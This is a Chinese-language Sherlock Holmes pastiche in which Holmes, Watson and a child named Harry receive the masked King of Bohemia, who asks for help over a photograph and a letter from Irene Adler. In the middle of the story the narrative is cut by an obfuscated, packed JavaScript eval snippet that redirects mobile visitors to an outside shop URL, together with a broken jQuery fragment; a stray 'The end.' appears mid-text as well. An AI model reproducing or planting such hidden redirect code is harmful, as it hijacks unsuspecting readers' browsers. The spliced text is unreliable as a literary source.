一八八八年十月，哈德森太太在楼下添置了一本来客簿。
这件事起因于一个星期三的下午。那天，前来寻找福尔摩斯的人包括两名律师、一位坚持不肯留下姓名的太太，以及一个声称自己送来的是帽盒、实际上盒里装着半只耳朵的年轻人。
哈德森太太认为，她有权事先知道自己正在替什么东西开门。
福尔摩斯对此没有异议，他甚至替她削好了拴在簿子旁的铅笔。
然而，到了星期五，我就发现，那本簿子上出现了“一个男人”“另一个男人”和“先前那个男人”。
“他们不肯说名字。”哈德森太太解释。
在这三项记录下面，哈利用相当工整的大字补充了一行：“先前那个男人把伞拿错了。”
那年夏天他满了八岁，写字已经比我清楚，并且开始对成年人随口作出的陈述产生一种令人不安的兴趣。譬如，当我说今天没有什么事的时候，他就会把我的出诊簿推到面前；当福尔摩斯说某件东西就在原处，他则要问，指的是今天早晨的原处，还是星期二晚上的原处。
只有哈德森太太能够有效地应付他。
“你该上床了。”
“可是现在才——”
“我知道现在几点。”
谈话到此结束。The end.
十月十七日傍晚，我从诊所回来时，发现客厅的窗帘尚未拉拢。街上刚下过雨，车轮从积水里碾过去，煤气灯在玻璃上拖出一道道颤动的亮线。对面屋顶的轮廓还勉强看得清，烟囱后面却已经是一片灰黄。
哈利跪坐在窗边的椅子上，膝头摆着一本大得很不合比例的图册。
福尔摩斯站在壁炉旁调琴。
这一年的哈利已经学会分辨，什么时候可以打断他，什么时候最好把问题写下来。因此，当我进门时，孩子只是回过头，用手指压住嘴唇，又指了指琴。
福尔摩斯拉了四个小节，停住，在谱架上的纸边做了一个记号。
“第三小节仍然不对。”他说。
“我以为很好听。”我脱下外套。
“你认为好听的那一段，是我从这位作曲家的原稿里修改的，但还不对。”
哈利把脸转回图册，肩膀动了一下。
“有什么值得发笑的？”
“没有。”
“哈利。”
“你上午说，演奏者不能因为自己喜欢，就擅自改掉别人写的东西。”
福尔摩斯看了看琴，又看了看谱子。
“这是一项实验。”
孩子点点头，在膝头的纸上写了两个字。
我走过去，才发现图册不过是垫在下面的。他正在替来客簿制作索引，纸上列着姓名、来访时间和几项辨认特征。最下方单独写着一条：“实验：有时候指把东西弄错了。”
“这个定义过于狭窄。”福尔摩斯说。
他把琴搁下，顺手将那张纸翻了过去。
纸的背面是一张名单。
哈德森太太，认识的人。
华生医生，认识的人。
福尔摩斯先生，认识的人。
接着是牛奶铺的伙计、洗衣妇和一个给煤的男人。另有两个名字用铅笔圈了起来，旁边写着问号。
“你准备把来过这里的人全部记住？”我问。
“这样别人再来，就不用每次都问了。”
“恐怕不行，”福尔摩斯说，“认识一个人，并不等于知道他今天为什么来。”
他把纸还给哈利。
孩子想了想，在“认识的人”后面又添了一栏：“今天来做什么”
这时，哈德森太太端着茶上楼，托盘旁压着一封信。
“这封没有名字。”她说，“送信的人也没有。”
“那么簿子终于遇到值得记载的困难了。”
“送信的人说，不必等回信。”
她把信放在桌上，朝哈利看了一眼。孩子已经自觉从窗边下来，将那张索引收进书里。
那只信封颜色略深，纸质厚而光滑，封口没有火漆，地址是用黑色墨水写的。既无邮票，也没有寄件人的姓名。
福尔摩斯没有立即打开。他先将信翻了个面，沿着封口轻轻摸了一下。
“什么时候送来的？”
“五点过一点。”
“他穿什么？”
“一件外套。”
“哈德森太太。”
“灰色。领子湿了。靴子擦得很干净，没有上楼。”
“说话呢？”
“声音不大，付钱的时候倒很清楚。”
她放下茶壶，带着一种已经尽完全部义务的神情离开了。
福尔摩斯取出里面的纸，只扫了一眼，便递给我。
信上写道：
“今晚八点一刻，将有一位先生登门拜访。他希望就一件极为重大的私事征求您的意见。
您为欧洲若干显赫家族提供过的协助，使我们有理由相信，您具有处理此事所必需的才干与审慎。
请您届时留在家中，并确保谈话不受打扰。
倘若您的来客采取了某些不便说明的防范措施，望您不要因此产生误解。”
没有落款。
我将它重新读了一遍。
“显然是一位外国人。”
“为什么？”
“措辞。”
“继续。”
我又读了一遍，觉得自己刚才的判断已经相当充分，不必再以更多词句削弱它。
福尔摩斯微微一笑，接过信，将它举向灯光。
纸里浮出几枚极淡的字母。
哈利伸长了脖子。
“那是什么？”
“造纸厂的标记。”
“所以我们知道是谁写的了？”
“我们知道纸可能从哪里来。你昨天用的是我的信纸，这并没有使你的算术题成为我的作品。”
孩子低头看了看自己沾墨的手指。
我取来大陆铁路时刻表和一本旧商业名录。福尔摩斯翻检得很快，偶尔停下来，用指甲沿着某一行划过去。
窗外的雾越来越厚。马车驶近时先有声音，继而有灯，直到几乎到了窗下，才能看清车厢的形状。有人在街对面喊了一声，仿佛隔着好几层布。
“波希米亚制造的纸，”福尔摩斯终于说，“德语式的句子。一位对自己的身份十分在意，同时又急于让我们明白他身份不凡的委托人。”
“也可能是他的秘书写的。”
“很可能。”
“那么你对来客知道得并不比我更多。”
“我知道他还没有告诉我们，需要防范的究竟是谁。”
他将信放在壁炉架上，没有再谈。
晚饭后，哈利本来有半个小时可以读书，却磨磨蹭蹭地在客厅里待着，一会儿寻找铅笔，一会儿替我捡起根本没有掉在地上的报纸。
直到他第三次经过书桌，福尔摩斯才抬起头。
“你想见今晚的客人。”
“我在找橡皮。”
“橡皮在你的左手里。”
哈利看了看自己的手。
“我也想知道什么叫防范措施。”
“有时是一把锁，有时是一名保镖，有时是一顶拉得太低的帽子。”
“他做了坏事吗？”
“我们不知道。”
“好人为什么怕别人认出来？”
福尔摩斯从桌边抽出信纸，在空白处写了几个字，又将笔放下。
“假如你去上学明天发现，每个人都知道你今晚对我说过什么，你会高兴吗？”
哈利显然想起了某一件十分具体的事，立即摇头。
“那就去找真正需要找的东西，你还有二十分钟去洗漱睡觉。”
孩子走到门边，又折回来。
“今晚还读吗？”
他指的是那本旅行记。我们已经读到一艘小船被困在浮冰之间的地方，而福尔摩斯曾答应替他解释插图中那只结构古怪的滑轮。
“留到明天早饭后。”福尔摩斯说。
哈利看了一眼壁炉架上的信。
“好吧。”
他没有讨价还价，只把书放在福尔摩斯惯常坐的椅子上，书签露在外面。
八点之前，哈德森太太上楼，收走了茶具，顺便告知我们哈利已经在洗漱。
我起身去拉窗帘。
就在此时，一辆双马马车从雾中驶出来，在斜对面的街边停了一会儿。
车夫没有下来。
我看不清车厢里的人，只见一道很窄的光从帘边漏出，随后又灭了。
“我们的来客到了。”我说。
福尔摩斯没有走过来。
“还没有。”
马车重新向前，驶过门口，在稍远的地方转了个弯。片刻之后，我们听见它又从另一头回来。这一回车轮的响声停在了楼下。
“他绕了一圈。”
“是的。”
“查看是否有人跟随？”
“也可能在考虑要不要进门。”
楼下响起门铃。
接着，发生了一段足以证明来客簿寿命不会很长的交谈。
“先生，请留下您的姓名。”
“我与福尔摩斯先生有约。”
“那么写下姓名不会耽误您。”
“他知道我今晚要来。”
“这本子不知道。”
楼梯上传来一声低沉的咳嗽。
我听见钱币轻轻碰撞，紧接着，哈德森太太用一种比先前更冷淡的声音说道：“您可以上去了。钱请您收好。”
福尔摩斯的嘴角动了一下。
房门打开时，进入客厅的男人几乎挡住了整个门框。
他身材高大，肩膀宽阔，深色斗篷上沾着细密的水珠。衣领处露出昂贵的毛皮，手套合身得没有一丝多余的褶皱；但最引人注目的，并不是他的衣着，而是遮住上半张脸的黑色面具。
那面具只露出眼睛，向下直到颧骨。嘴唇上留着浓密的胡须，下巴宽而有力。
我原以为，戴面具的人总会令人觉得鬼祟。
此人却没有这种困难。他进屋时的神态，仿佛我们有义务为自己的无遮无掩感到失礼。
他的目光先落在我身上。
“福尔摩斯先生？”
“我是。这位是华生医生。请坐。”
“我要谈的事——”
“他可以听。”
来客没有坐。
他又看了一眼门，随后看见了椅子上的旅行记。
书脊已经松了，用一条深蓝色布带重新固定过。露出的那一页夹着一张孩子手绘的船，桅杆歪歪斜斜，船头却认认真真标了方向。
“您的家里还有别人？”
“有。”
“我要求绝对的保密。”
福尔摩斯站起身，把书拿到书桌上，替来客腾出椅子。
“您可以从您愿意告诉我们的部分开始。”
这句话似乎使对方不大满意，但他终于坐下了。
扶手椅在他的体重下发出轻微的响声。
“你们可以称我为冯·克拉姆伯爵。”他说，“我代表一位地位极高的人士。他的利益所涉及的，远远不止个人名誉。”
福尔摩斯点点头。
“在继续以前，我必须获得你们的保证。此事在两年内不得以任何方式公之于众。”
我看了一眼福尔摩斯。他的案件常常需要保密，但这样的期限并不常见。
“我不会将委托人的隐私当作谈资，”他说，“不过，我还不知道您要委托我做什么。”
“这关系到一个王室的婚姻。”
“那么请先告诉我们问题。”
来客将戴着手套的手放在膝上。那双手极大，右手拇指缓慢地摩擦着左手指节。
“有一个女人。”
福尔摩斯的神情没有任何变化。
“她叫什么？”
“艾琳·艾德勒。”
我看见他的手停了一瞬。
那动作极轻：他原本要拿起烟盒，手指却在盒盖上多留了片刻。
“歌唱家？”他问。
“曾经是。”
“我在伦敦听过她演出。”
“那么你应当知道，她是一个极不寻常的女人。”
“我知道她是一位出色的女低音。其他方面，还需要您提供事实。”
客人往椅背上靠了靠。
“她有一张照片。”
“她本人的？”
“我所代表的那位人士与她合照的一张照片。”
“什么时候拍的？”
“五年前。”
“经双方同意？”
来客的嘴角绷紧了。
“那不是关键。”
福尔摩斯终于打开烟盒，却没有取出烟。
“如果照片是在私人房间里偷拍的，我们需要知道当时有谁能够进入。如果由摄影师安排，我们就需要寻找底片、账单和助手。拍摄方式当然是关键。”
“是双方同意的。”
“照片现在归谁所有？”
“她。”
“有几张？”
“一张。”
“您怎么知道？”
“因为我——”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17971725|214669||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他停住了。
壁炉里一块煤裂开，火光突然明亮起来。那张黑色面具在火光中显得格外不合时宜。
福尔摩斯耐心地等着。
“因为那位人士知道。”来客说。
“底片呢？”
“已经毁掉了。”
“有亲眼见证的人？”
“有。”
“那么我们暂且接受这一点。她用照片提出了什么要求？”
“她打算破坏婚约。”
“向谁寄送？”
“对方的家族。”
“何时？”
“下星期一。婚约会在那一天正式公布。”
我望了一眼日历。
只剩四天。
客人注意到了我的动作，立即说：
“所以我没有时间浪费在一些无关紧要的细节上。我可以提供你们需要的任何经费，也可以提供人手。只要拿回照片——”
“她索取过钱吗？”
“没有。”
“职位？”
“没有。”
“婚姻承诺？”
来客霍然抬头。
“不可能。”
“我问她是否提出过。”
“她非常清楚，那是不可能的。”
福尔摩斯将烟盒合上了。
“您与她最后一次直接交谈是什么时候？”
“有一段时间了。”
“一个星期？一个月？”
“几个月。”
“那么，星期一这个期限是谁告诉您的？”
来客没有立即回答。
楼上传来很轻的一声响动，像是什么东西从床边掉到了地板上。随后是哈德森太太的脚步，门轴响了一下，又归于安静。
我注意到福尔摩斯侧耳听了听，直到楼上的声音完全消失，才重新看向客人。
“有一封信。”那人终于说。
“您带来了吗？”
“信的内容并不重要。”
“您希望我在四天之内替您解决它带来的问题。”
这一次，沉默持续得更久。
随后，来客伸手扯下了面具。
他似乎已经无法继续忍受以一个并不存在的伯爵身份接受盘问。面具被扔到桌上，露出一张因恼怒而涨红的脸。
“你应当知道你正在同谁说话。”
福尔摩斯从桌上移开墨水瓶，免得面具的带子浸进去。
“我有一些猜测，陛下。”
我的惊讶大概比他希望看到的少了一点。那位来客瞥了我一眼，又转向福尔摩斯。
“那么你也应当明白，这件事不能失败。”
“我明白，您认为后果严重。因此我需要读那封信。”
他从斗篷内取出一只扁平的皮夹。
在打开皮夹之前，他又停了一下。
这一次我看得很清楚：里面有数封信，被一根细带束在一起。他将其中一封抽出来，其余的仍按原样放回。
信纸很普通，比我们下午收到的那张薄得多。折痕已经有些发软，显然被反复展开过。
福尔摩斯读完，将它交给了我。
它比我预想的短。
没有热烈的回忆，没有情人的控诉，更没有要求取消婚约的字句。
开头甚至只是一个十分冷静的称呼。
“阁下：
您的来人本星期第二次进入了我的住处。
我已不再相信他们所声称的目的。请在星期一以前，将从我这里拿走的东西归还，并停止派人来找我。
倘若您仍坚持目前的做法，我将把合照及有关信件交给能够使这件事停止的人。
艾琳·艾德勒”
我又读了一遍最后两段。
“她没有在这里提及您的未婚妻。”我说。
“还有谁能使我停止？”国王反问。
福尔摩斯伸出手，我把信还给了他。
他没有立刻提问，而是将信纸摊在桌上，用两根手指压平翘起的边角。方才那种略带懒散的神情已经消失了。
“您派人搜查过她的住处。”
“当然。”
“几次？”
“两次。”
“经过她的同意？”
“福尔摩斯先生，我以为你应当理解——”
“我需要了解已经采取过哪些办法，以免重复。”
国王松了一口气，似乎终于听见了一句合乎他心意的话。
“第一次是在她外出的时候，没有结果。第二次，我的人带去了适当的证明。”
“什么证明？”
“足以让她的女仆开门的证明。”
我的目光落在桌上的面具上。
它仰放在那里，眼睛的两个孔洞里透出木头的颜色。
“那两个人现在在哪里？”福尔摩斯问。
“一个在伦敦，另一个已经离开英国。”
“他们写过报告？”
“写过。”
“您都带来了？”
“报告中没有任何有价值的东西，他们没有找到照片。”
“我愿意自己判断。”
国王皱起眉，却没有拒绝。
福尔摩斯将信重新折好，搁在皮夹旁。
“您最初说，需要我替您拿回一张照片。根据目前的叙述，那张照片经双方同意拍摄，一直由艾德勒小姐持有。您担心她公开照片，因此派人进入她的住宅。两次搜查之后，她送来了这封信。”
“不错。”
“她所说被拿走的东西是什么？”
“与照片无关。”
“那么是一件您知道的东西。”
国王看向壁炉。
他的手掌压在扶手上，指节慢慢绷紧。我忽然意识到，这个人从走进房间起，说了许多有关危险、名誉和责任的话，却始终没有清楚地讲出，他自己究竟做过什么。
福尔摩斯等了片刻，然后站起身。
“华生，请把桌上的灯移过来。我们恐怕需要仔细读一读那些报告。”
我将灯放在两人之间。
光照亮了国王昂贵的袖扣，也照亮了信纸上被折痕截断的那行字。
“请在星期一以前，将从我这里拿走的东西归还。”
隔着半开的房门，我听见楼下的钟敲了九下。
哈德森太太从走廊经过，在门边停了一下，递给我一张折起来的便条。
“他怕你们忘了。”她低声说。
上面是哈利的大字：“明天早饭后。”
我把便条夹进书桌上的旅行记，免得混入委托人的文件，然后回到桌旁。